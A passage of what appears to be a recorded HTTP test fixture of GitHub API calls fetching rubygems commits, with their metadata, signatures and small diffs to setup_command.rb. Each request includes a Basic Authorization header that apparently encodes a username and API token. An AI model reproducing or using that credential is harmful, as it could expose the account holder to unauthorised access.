#{bundler_spec.version} installed\"\n end\n \n def make_destination_dirs(install_destdir)"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:57 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/01e797f6aa045fd09df7813d0b5448e3667172a9 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:57 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4485' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"70a3108a5c1ec6ec70cca1ba01b9a5f0" Last-Modified: - Wed, 08 Nov 2017 13:52:25 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.039244' X-Github-Request-Id: - C534:4D95:F47E58:1C8374C:5A50E46D body: encoding: ASCII-8BIT string: '{"sha":"01e797f6aa045fd09df7813d0b5448e3667172a9","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-08T13:52:25Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-08T13:52:25Z"},"message":"Auto merge of #2070 - rubygems:prepare-to-release-rubygems272, r=hsbt\n\nPrepare to release Rubygems 2.7.2\n\nI added missing template for `bundle gem` with https://github.com/rubygems/rubygems/pull/2065","tree":{"sha":"bd9356c5a6dd10b69ddeb0efc9ac7fb60c46332b","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/bd9356c5a6dd10b69ddeb0efc9ac7fb60c46332b"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/01e797f6aa045fd09df7813d0b5448e3667172a9","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/01e797f6aa045fd09df7813d0b5448e3667172a9","html_url":"https://github.com/rubygems/rubygems/commit/01e797f6aa045fd09df7813d0b5448e3667172a9","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/01e797f6aa045fd09df7813d0b5448e3667172a9/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6","url":"https://api.github.com/repos/rubygems/rubygems/commits/f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6","html_url":"https://github.com/rubygems/rubygems/commit/f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6"},{"sha":"35abb74af75979082307d0befdf0966d102e502b","url":"https://api.github.com/repos/rubygems/rubygems/commits/35abb74af75979082307d0befdf0966d102e502b","html_url":"https://github.com/rubygems/rubygems/commit/35abb74af75979082307d0befdf0966d102e502b"}],"stats":{"total":18,"additions":14,"deletions":4},"files":[{"sha":"56290aa5705c0de57bf6b97fb303174502eb5254","filename":"lib/rubygems.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/01e797f6aa045fd09df7813d0b5448e3667172a9/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/01e797f6aa045fd09df7813d0b5448e3667172a9/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=01e797f6aa045fd09df7813d0b5448e3667172a9","patch":"@@ -10,7 +10,7 @@\n require ''thread''\n \n module Gem\n- VERSION = \"2.7.1\"\n+ VERSION = \"2.7.2\"\n end\n \n # Must be first since it unloads the prelude from 1.9.2"},{"sha":"93a46d4350b23fbdf75f3f403238b6ed09068470","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":13,"deletions":3,"changes":16,"blob_url":"https://github.com/rubygems/rubygems/blob/01e797f6aa045fd09df7813d0b5448e3667172a9/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/01e797f6aa045fd09df7813d0b5448e3667172a9/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=01e797f6aa045fd09df7813d0b5448e3667172a9","patch":"@@ -439,9 +439,19 @@ def rb_files_in dir\n end\n end\n \n+ # for installation of bundler as default gems\n def template_files\n Dir.chdir \"bundler/lib\" do\n- Dir[File.join(''bundler'', ''templates'', ''**'', ''*'')].select{|f| !File.directory?(f)}\n+ (Dir[File.join(''bundler'', ''templates'', ''**'', ''*'')] + Dir[File.join(''bundler'', ''templates'', ''**'', ''.*'')]).\n+ select{|f| !File.directory?(f)}\n+ end\n+ end\n+\n+ # for cleanup old bundler files\n+ def template_files_in dir\n+ Dir.chdir dir do\n+ (Dir[File.join(''templates'', ''**'', ''*'')] + Dir[File.join(''templates'', ''**'', ''.*'')]).\n+ select{|f| !File.directory?(f)}\n end\n end\n \n@@ -482,10 +492,10 @@ def remove_old_lib_files lib_dir\n lib_dirs[File.join(lib_dir, ''bundler'')] = ''bundler/lib/bundler'' if Gem::USE_BUNDLER_FOR_GEMDEPS\n lib_dirs.each do |old_lib_dir, new_lib_dir|\n lib_files = rb_files_in(new_lib_dir)\n- lib_files.concat(template_files) if new_lib_dir =~ /bundler/\n+ lib_files.concat(template_files_in(new_lib_dir)) if new_lib_dir =~ /bundler/\n \n old_lib_files = rb_files_in(old_lib_dir)\n- old_lib_files.concat(template_files) if old_lib_dir =~ /bundler/\n+ old_lib_files.concat(template_files_in(old_lib_dir)) if old_lib_dir =~ /bundler/\n \n to_remove = old_lib_files - lib_files\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:57 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/35abb74af75979082307d0befdf0966d102e502b body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:57 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4484' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"c6478f271b2429b0ebe9bd2b29d8f4bf" Last-Modified: - Wed, 08 Nov 2017 09:23:59 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.046380' X-Github-Request-Id: - C536:4D95:F47E64:1C8375B:5A50E46D body: encoding: ASCII-8BIT string: '{"sha":"35abb74af75979082307d0befdf0966d102e502b","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-08T09:23:59Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-08T09:23:59Z"},"message":"Fixed broken test for install_lib","tree":{"sha":"bd9356c5a6dd10b69ddeb0efc9ac7fb60c46332b","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/bd9356c5a6dd10b69ddeb0efc9ac7fb60c46332b"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/35abb74af75979082307d0befdf0966d102e502b","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloCzS8ACgkQ+c8TQXJk\n+sJSqAf/X2CDG1SXYm03yAM6MAGTa9CJEHzE5EIirKVIVCnPs1Z7nO5YxHxsU/mD\n0K66pAlU/RAI1PFvffV/a6kTbiedGJ4y/0ytU3hAWFwaXjqwQQWG5RRp6DHCM7x9\nZ2PW+uW3JBdqq7GO9osTkiH6NCcMYQxbEKt06KhQtHFpqXk/6e5daDf0KHdr7BPe\nt6+Zq8Lm88p/0kkn3ttIKDjDniJ9T4Xf1RKbiKG+bLBH+rwlQFYeLzQmzCd5OZQY\nOH1E45t+2zqn959Lm+q+S4a+JoN2fG4Z/5PhCWPQV+vWuEfeoW82KxmxRsKejnRd\nvHr4A894kYI1yTuyM2CU4CvqbrGzOw==\n=gIUN\n-----END PGP SIGNATURE-----","payload":"tree bd9356c5a6dd10b69ddeb0efc9ac7fb60c46332b\nparent a53aca9a780415e06429ea80177f0af87388ceb9\nauthor SHIBATA Hiroshi 1510133039 +0900\ncommitter SHIBATA Hiroshi 1510133039 +0900\n\nFixed broken test for install_lib\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/35abb74af75979082307d0befdf0966d102e502b","html_url":"https://github.com/rubygems/rubygems/commit/35abb74af75979082307d0befdf0966d102e502b","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/35abb74af75979082307d0befdf0966d102e502b/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"a53aca9a780415e06429ea80177f0af87388ceb9","url":"https://api.github.com/repos/rubygems/rubygems/commits/a53aca9a780415e06429ea80177f0af87388ceb9","html_url":"https://github.com/rubygems/rubygems/commit/a53aca9a780415e06429ea80177f0af87388ceb9"}],"stats":{"total":8,"additions":4,"deletions":4},"files":[{"sha":"93a46d4350b23fbdf75f3f403238b6ed09068470","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":4,"deletions":4,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/35abb74af75979082307d0befdf0966d102e502b/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/35abb74af75979082307d0befdf0966d102e502b/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=35abb74af75979082307d0befdf0966d102e502b","patch":"@@ -442,16 +442,16 @@ def rb_files_in dir\n # for installation of bundler as default gems\n def template_files\n Dir.chdir \"bundler/lib\" do\n- Dir[File.join(''bundler'', ''templates'', ''**'', ''*'')].select{|f| !File.directory?(f)} +\n- [\"bundler/templates/newgem/.travis.yml.tt\"] # Dir#[] don''t match dotfile.\n+ (Dir[File.join(''bundler'', ''templates'', ''**'', ''*'')] + Dir[File.join(''bundler'', ''templates'', ''**'', ''.*'')]).\n+ select{|f| !File.directory?(f)}\n end\n end\n \n # for cleanup old bundler files\n def template_files_in dir\n Dir.chdir dir do\n- Dir[File.join(''templates'', ''**'', ''*'')].select{|f| !File.directory?(f)} +\n- [\"templates/newgem/.travis.yml.tt\"] # Dir#[] don''t match dotfile.\n+ (Dir[File.join(''templates'', ''**'', ''*'')] + Dir[File.join(''templates'', ''**'', ''.*'')]).\n+ select{|f| !File.directory?(f)}\n end\n end\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:57 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/a53aca9a780415e06429ea80177f0af87388ceb9 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:57 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4483' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"bc0b031c30a177808b392cfe6b0994b9" Last-Modified: - Wed, 08 Nov 2017 08:36:07 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.046296' X-Github-Request-Id: - C538:4D94:4EFF73:B300FF:5A50E46D body: encoding: ASCII-8BIT string: '{"sha":"a53aca9a780415e06429ea80177f0af87388ceb9","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-08T08:36:07Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-08T08:36:07Z"},"message":"Bump version to rubygems-2.7.2","tree":{"sha":"74ec348c11f20e699285a166a00537c48f70366a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/74ec348c11f20e699285a166a00537c48f70366a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/a53aca9a780415e06429ea80177f0af87388ceb9","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloCwfcACgkQ+c8TQXJk\n+sKjeQgA0BNwBpfxlT10aNIfXaB7oJdmSuWQq8bg8iLxPY5Wqx1VIxqyLYEsqqYD\nON7CG4SBRnakG7ulbDqarJZ53LA+3mbwFnsWX0yWUoRjDgi073Tna8QmGTs+mEJD\nC5v+91pt55fsSIqBNwDUsf/RwitPC/BrG4lFq19aqwCjw/zh7+sDRCFxh+hPVN+V\nDaZ6N1nN53ASKlvYr6MvTORGvSYv+JxqpAfwECsrn257OD6JPgIvyY3ZZDNfNWt1\nohoGT1DfbS9Shi4g3y5mSkCbHow0GKaYEscRRP7wFobvHRhCz/jI9Jtv/F+cs5PJ\n5BBTa0oKtMUag5cKYNtNZFrfTta3Lg==\n=weyO\n-----END PGP SIGNATURE-----","payload":"tree 74ec348c11f20e699285a166a00537c48f70366a\nparent 65cc9e69433d173015423837bae9fcc848765210\nauthor SHIBATA Hiroshi 1510130167 +0900\ncommitter SHIBATA Hiroshi 1510130167 +0900\n\nBump version to rubygems-2.7.2\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/a53aca9a780415e06429ea80177f0af87388ceb9","html_url":"https://github.com/rubygems/rubygems/commit/a53aca9a780415e06429ea80177f0af87388ceb9","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/a53aca9a780415e06429ea80177f0af87388ceb9/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"65cc9e69433d173015423837bae9fcc848765210","url":"https://api.github.com/repos/rubygems/rubygems/commits/65cc9e69433d173015423837bae9fcc848765210","html_url":"https://github.com/rubygems/rubygems/commit/65cc9e69433d173015423837bae9fcc848765210"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"56290aa5705c0de57bf6b97fb303174502eb5254","filename":"lib/rubygems.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/a53aca9a780415e06429ea80177f0af87388ceb9/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a53aca9a780415e06429ea80177f0af87388ceb9/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=a53aca9a780415e06429ea80177f0af87388ceb9","patch":"@@ -10,7 +10,7 @@\n require ''thread''\n \n module Gem\n- VERSION = \"2.7.1\"\n+ VERSION = \"2.7.2\"\n end\n \n # Must be first since it unloads the prelude from 1.9.2"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:57 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/65cc9e69433d173015423837bae9fcc848765210 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:57 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4482' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"f79746848972ec20d65a73685d059967" Last-Modified: - Wed, 08 Nov 2017 05:54:37 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.040334' X-Github-Request-Id: - A26A:4D97:9036B8:1C4747C:5A50E46D body: encoding: ASCII-8BIT string: '{"sha":"65cc9e69433d173015423837bae9fcc848765210","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-08T05:54:37Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-08T05:54:37Z"},"message":"Fixed missing template for `bundle gem` command","tree":{"sha":"0bb100723ae56dbd8e57787f62cbad9a714720a5","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/0bb100723ae56dbd8e57787f62cbad9a714720a5"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/65cc9e69433d173015423837bae9fcc848765210","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloCnB4ACgkQ+c8TQXJk\n+sIPdAgAhpOYM7UiKEuPRhCLq2V6EUveApXSnauuEZQnmaLpM+S9aDV6WtN1529L\nAkou1mN0HfBrrPbLi1sAWITpqC7ShT7pcnDpjkleV7aCntIWcvw//VXlQYsswI1t\nHdVMY8zQkHmqq2/1LU3XJeDawpgWF/wWcMcq3qOvNTCTnxIypXk0GLjM2ehwR/AO\nc07t1JdBVt6EOYv6zdlXv3cSH0juW07HEHjD63xx/eT/ZeppVlMQTiW5WmyjzNlT\n4ioEdp8HMD69fuDQWjrO8WZECnjbG4oMsIu+K01wpcijRleW643kAyqPfHcjktMP\nhxwccwWxvOiY5ueilSSkr4OkZ6CRew==\n=arQ0\n-----END PGP SIGNATURE-----","payload":"tree 0bb100723ae56dbd8e57787f62cbad9a714720a5\nparent f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6\nauthor SHIBATA Hiroshi 1510120477 +0900\ncommitter SHIBATA Hiroshi 1510120477 +0900\n\nFixed missing template for `bundle gem` command\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/65cc9e69433d173015423837bae9fcc848765210","html_url":"https://github.com/rubygems/rubygems/commit/65cc9e69433d173015423837bae9fcc848765210","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/65cc9e69433d173015423837bae9fcc848765210/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6","url":"https://api.github.com/repos/rubygems/rubygems/commits/f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6","html_url":"https://github.com/rubygems/rubygems/commit/f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6"}],"stats":{"total":16,"additions":13,"deletions":3},"files":[{"sha":"4a50931b0752513f0b397fe7d44bbae22d6af97c","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":13,"deletions":3,"changes":16,"blob_url":"https://github.com/rubygems/rubygems/blob/65cc9e69433d173015423837bae9fcc848765210/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/65cc9e69433d173015423837bae9fcc848765210/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=65cc9e69433d173015423837bae9fcc848765210","patch":"@@ -439,9 +439,19 @@ def rb_files_in dir\n end\n end\n \n+ # for installation of bundler as default gems\n def template_files\n Dir.chdir \"bundler/lib\" do\n- Dir[File.join(''bundler'', ''templates'', ''**'', ''*'')].select{|f| !File.directory?(f)}\n+ Dir[File.join(''bundler'', ''templates'', ''**'', ''*'')].select{|f| !File.directory?(f)} +\n+ [\"bundler/templates/newgem/.travis.yml.tt\"] # Dir#[] don''t match dotfile.\n+ end\n+ end\n+\n+ # for cleanup old bundler files\n+ def template_files_in dir\n+ Dir.chdir dir do\n+ Dir[File.join(''templates'', ''**'', ''*'')].select{|f| !File.directory?(f)} +\n+ [\"templates/newgem/.travis.yml.tt\"] # Dir#[] don''t match dotfile.\n end\n end\n \n@@ -482,10 +492,10 @@ def remove_old_lib_files lib_dir\n lib_dirs[File.join(lib_dir, ''bundler'')] = ''bundler/lib/bundler'' if Gem::USE_BUNDLER_FOR_GEMDEPS\n lib_dirs.each do |old_lib_dir, new_lib_dir|\n lib_files = rb_files_in(new_lib_dir)\n- lib_files.concat(template_files) if new_lib_dir =~ /bundler/\n+ lib_files.concat(template_files_in(new_lib_dir)) if new_lib_dir =~ /bundler/\n \n old_lib_files = rb_files_in(old_lib_dir)\n- old_lib_files.concat(template_files) if old_lib_dir =~ /bundler/\n+ old_lib_files.concat(template_files_in(old_lib_dir)) if old_lib_dir =~ /bundler/\n \n to_remove = old_lib_files - lib_files\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:57 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6 body: encoding: US-ASCII string: '' headers: Accept: - 